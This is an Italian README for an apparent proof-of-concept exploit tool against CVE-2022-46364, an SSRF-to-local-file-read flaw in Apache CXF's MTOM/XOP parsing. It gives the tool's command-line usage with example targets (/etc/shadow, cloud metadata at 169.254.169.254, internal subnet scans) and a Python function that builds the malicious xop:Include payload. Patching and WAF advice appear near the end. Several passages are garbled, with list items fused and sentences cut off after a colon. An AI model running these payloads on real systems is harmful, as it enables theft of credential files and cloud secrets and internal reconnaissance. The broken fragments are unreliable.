
Questa vulnerabilità consente a un attaccante di eseguire attacchi SSRF (Server-Side Request Forgery) sui webservice Apache CXF che accettano richieste MTOM/XOP. Il problema risiede nel modo in cui viene analizzato l'attributo href di xop:Include, consentendo al server di richiedere URL arbitrari.
QUESTO STRUMENTO È SOLO PER TEST DI SICUREZZA EDUCATIVI E AUTORIZZATI
Questo exploit proof-of-concept è fornito a scopo educativo per aiutare i professionisti della sicurezza a comprendere la vulnerabilità e proteggere i propri sistemi. L'accesso non autorizzato ai sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per usi impropri o danni causati da questo strumento. È necessario ottenere l'esplicita autorizzazione scritta del proprietario del sistema prima di effettuare test. Utilizzando questo strumento, accetti di conformarti a tutte le leggi applicabili.
| Attributo | Valore |
|---|
| ID CVE | CVE-2022-46364 |
| ID GHSA | GHSA-x3x3-qwjq-8gj4 |
| Tipo di vulnerabilità | Server-Side Request Forgery (SSRF) → Local File Inclusion (LFI) |
| Software interessato | Apache CXF < 3.5.5, Apache CXF < 3.4.10 |
| Gravità | Critico |
| Punteggio CVSS | 9.8 (Critico) |
| Vettore di attacco | Rete |
| Autenticazione | Non richiesta |
| Versioni corrette | Apache CXF 3.5.5+, 3.4.10+ |
Questo exploit sfrutta una vulnerabilità SSRF critica nell'implementazione MTOM (Message Transmission Optimization Mechanism) di Apache CXF per ottenere Local File Inclusion (LFI) e capacità di scansione della rete interna.
Apache CXF valida in modo errato l'attributo href all'interno degli elementi xop:Include quando elabora messaggi SOAP codificati in MTOM. La libreria utilizza URLConnection di Java per dereferenziare l'URI senza adeguate restrizioni sui protocolli, consentendo agli attaccanti di specificare:
file:// - Leggere file locali (LFI)http:// / https:// - Richieste alla rete interna (SSRF)ftp:// - Richieste FTP (potenziale per ulteriori exploit)Questa vulnerabilità è particolarmente pericolosa perché:
Qualsiasi distribuzione Apache CXF che:
MTOM (Message Transmission Optimization Mechanism) è uno standard W3C per ottimizzare la trasmissione di dati binari nei messaggi SOAP. Utilizza XOP (XML-binary Optimized Packaging) per includere riferimenti a dati binari:
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<myData>
<xop:Include href="cid:[email protected]"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</myData>
</soap:Body>
</soap:Envelope>
Normalmente, href contiene un riferimento CID (Content-ID) a una parte MIME. Tuttavia, la classe AttachmentUtil di Apache CXF elabora i valori href come URI generici senza una corretta sanificazione.
Parsing della Richiesta:
Content-Type: application/xop+xmlAttachmentUtil.getAttachmentObject() elabora gli elementi xop:IncludeDereferenziazione URI:
new URL(href).openStream()file://Incorporazione nella Risposta:
// Simplified representation of vulnerable code in CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
URL url = new URL(href); // No protocol validation!
return new DataHandler(url.openStream());
}
Il protocollo file:// segue lo stesso percorso del codice:
file:///etc/passwd → Java apre /etc/passwd come flusso di fileIterando tra IP e porte, gli attaccanti possono:
usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]
CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only
options:
-h, --help Show this help message and exit
-t TARGET, --target TARGET
Target base URL (e.g., http://192.168.1.100:8080)
-e ENDPOINT, --endpoint ENDPOINT
Web service endpoint path (default: /services/Service)
-u URL, --url URL External URL for SSRF (e.g., http://169.254.169.254/latest/meta-data/)
-f FILE, --file FILE Local file path for LFI (e.g., /etc/passwd, C:\\Windows\\win.ini)
-s SCAN, --scan SCAN Scan internal network range in CIDR notation (e.g., 192.168.1.0/24)
| Argomento | Descrizione | Esempio |
|---|---|---|
-t, --target | Obbligatorio. URL di base del servizio Apache CXF target | http://10.10.10.50:8080 |
-e, --endpoint | Opzionale. Percorso dell'endpoint SOAP | /services/UserManagement |
-u, --url | URL HTTP/HTTPS da recuperare tramite SSRF | http://169.254.169.254/latest/user-data |
-f, --file | Percorso del file locale da leggere tramite LFI | /etc/shadow, C:\ProgramData\secret.txt |
# Python 3.6 or higher required
python --version
# Clone the repository
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC
### requirements
requests>=2.28.0 urllib3>=1.26.0
---
### Dettagli di Implementazione Principali
#### 1. Costruzione del Payload MTOM
```python
def create_mtom_payload(uri):
"""Create a multipart/related MTOM message with xop:Include"""
soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<vulnerableParam>
<xop:Include href="{uri}"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</vulnerableParam>
</soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
return soap_part
Aggiornare a una versione corretta:
<!-- For Maven projects -->
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-frontend-jaxws</artifactId>
<version>3.5.5</version> <!-- or 3.4.10 for legacy -->
</dependency>
Disabilitare MTOM completamente (se non necessario):
<jaxws:endpoint ...>
<jaxws:properties>
<entry key="mtom-enabled" value="false"/>
</jaxws:properties>
</jaxws:endpoint>
Controlli a livello di rete:
Regole del Web Application Firewall (WAF):
xop:Include con href che punta a file:// o a indirizzi IP interniQuesta vulnerabilità è stata scoperta e divulgata in modo responsabile da:
Questo strumento è fornito solo a scopo educativo. L'uso non autorizzato è vietato.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Ultimo aggiornamento: Marzo 2026
Versione: 1.0
Contatto: Per problemi o domande di sicurezza, apri una issue su GitHub.
Questo documento fa parte di una ricerca sulla sicurezza responsabile. Ottenere sempre la corretta autorizzazione prima di effettuare test.